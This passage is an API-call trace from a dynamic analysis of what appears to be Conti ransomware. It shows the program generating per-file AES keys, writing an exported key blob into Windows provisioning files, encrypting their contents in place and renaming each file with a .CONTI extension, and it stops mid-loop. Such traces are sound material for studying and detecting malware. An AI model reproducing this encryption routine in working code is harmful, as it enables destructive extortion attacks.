	[0110.944] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.945] GetProcessHeap () returned 0x1720000
	[0110.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.945] CryptDestroyKey (hKey=0x17c7870) returned 1
	[0110.945] GetProcessHeap () returned 0x1720000
	[0110.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc3e0 | out: hHeap=0x1720000) returned 1
	[0110.945] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0110.945] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x656f3c0 | out: phKey=0x656f3c0*=0x17c7cb0) returned 1
	[0110.945] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656f3c4, pdwDataLen=0x36ffea4 | out: pbData=0x656f3c4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0110.946] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.946] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0110.946] GetLastError () returned 0x0
	[0110.946] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=657) returned 1
	[0110.946] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x291
	[0110.946] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.946] SetEndOfFile (hFile=0x408) returned 1
	[0110.947] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.947] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.947] WriteFile (in: hFile=0x408, lpBuffer=0x656f3c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x656f3c4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.303] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.303] ReadFile (in: hFile=0x408, lpBuffer=0x12130000, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x291, lpOverlapped=0x0) returned 1
	[0111.303] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x291, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2a0) returned 1
	[0111.303] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.303] WriteFile (in: hFile=0x408, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2a0, lpOverlapped=0x0) returned 1
	[0111.303] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.303] WriteFile (in: hFile=0x408, lpBuffer=0x656f3b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x656f3b8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0111.303] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.303] CloseHandle (hObject=0x408) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.417] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
	[0112.417] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.417] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.418] GetProcessHeap () returned 0x1720000
	[0112.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.418] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0112.418] GetProcessHeap () returned 0x1720000
	[0112.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572140 | out: hHeap=0x1720000) returned 1
	[0112.418] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.418] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65b2998 | out: phKey=0x65b2998*=0x17c7bb0) returned 1
	[0112.418] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b299c, pdwDataLen=0x36ffea4 | out: pbData=0x65b299c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.419] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.419] GetLastError () returned 0x0
	[0112.419] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=779) returned 1
	[0112.419] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30b
	[0112.419] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.420] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.420] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.420] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.420] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b299c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65b299c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.426] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.426] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x30b, lpOverlapped=0x0) returned 1
	[0112.426] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x30b, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x310) returned 1
	[0112.426] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.426] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x310, lpOverlapped=0x0) returned 1
	[0112.426] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.426] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b2990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65b2990*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.426] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.427] CloseHandle (hObject=0x3f0) returned 1
	[0112.427] GetProcessHeap () returned 0x1720000
	[0112.427] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.427] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml"
	[0112.427] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.427] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.427] GetProcessHeap () returned 0x1720000
	[0112.427] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.428] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0112.428] GetProcessHeap () returned 0x1720000
	[0112.428] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a198 | out: hHeap=0x1720000) returned 1
	[0112.428] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.428] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65b0e38 | out: phKey=0x65b0e38*=0x17c7cb0) returned 1
	[0112.428] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b0e3c, pdwDataLen=0x36ffea4 | out: pbData=0x65b0e3c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.428] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.438] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.448] GetLastError () returned 0x0
	[0112.448] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=854) returned 1
	[0112.448] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x356
	[0112.449] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.449] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.449] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.449] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.449] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b0e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65b0e3c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.450] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.450] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x356, lpOverlapped=0x0) returned 1
	[0112.450] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x356, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x360) returned 1
	[0112.450] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.451] WriteFile (in: hFile=0x3f0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x360, lpOverlapped=0x0) returned 1
	[0112.451] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.451] WriteFile (in: hFile=0x3f0, lpBuffer=0x65b0e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65b0e30*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0112.451] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.451] CloseHandle (hObject=0x3f0) returned 1
	[0112.451] GetProcessHeap () returned 0x1720000
	[0112.451] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.451] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml"
	[0112.451] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.451] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\534__connections_cellular_orange la réunion (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.452] GetProcessHeap () returned 0x1720000
	[0112.452] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.452] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0112.452] GetProcessHeap () returned 0x1720000
	[0112.452] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c7f0 | out: hHeap=0x1720000) returned 1
	[0112.452] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0112.452] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65af2d8 | out: phKey=0x65af2d8*=0x17c7db0) returned 1
	[0112.452] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65af2dc, pdwDataLen=0x36ffea4 | out: pbData=0x65af2dc*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0112.453] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.453] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0112.453] GetLastError () returned 0x0
	[0112.453] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=727) returned 1
	[0112.453] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0112.453] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.453] SetEndOfFile (hFile=0x3f0) returned 1
	[0112.454] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.454] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.454] WriteFile (in: hFile=0x3f0, lpBuffer=0x65af2dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65af2dc*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.456] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.456] ReadFile (in: hFile=0x3f0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2d7, lpOverlapped=0x0) returned 1
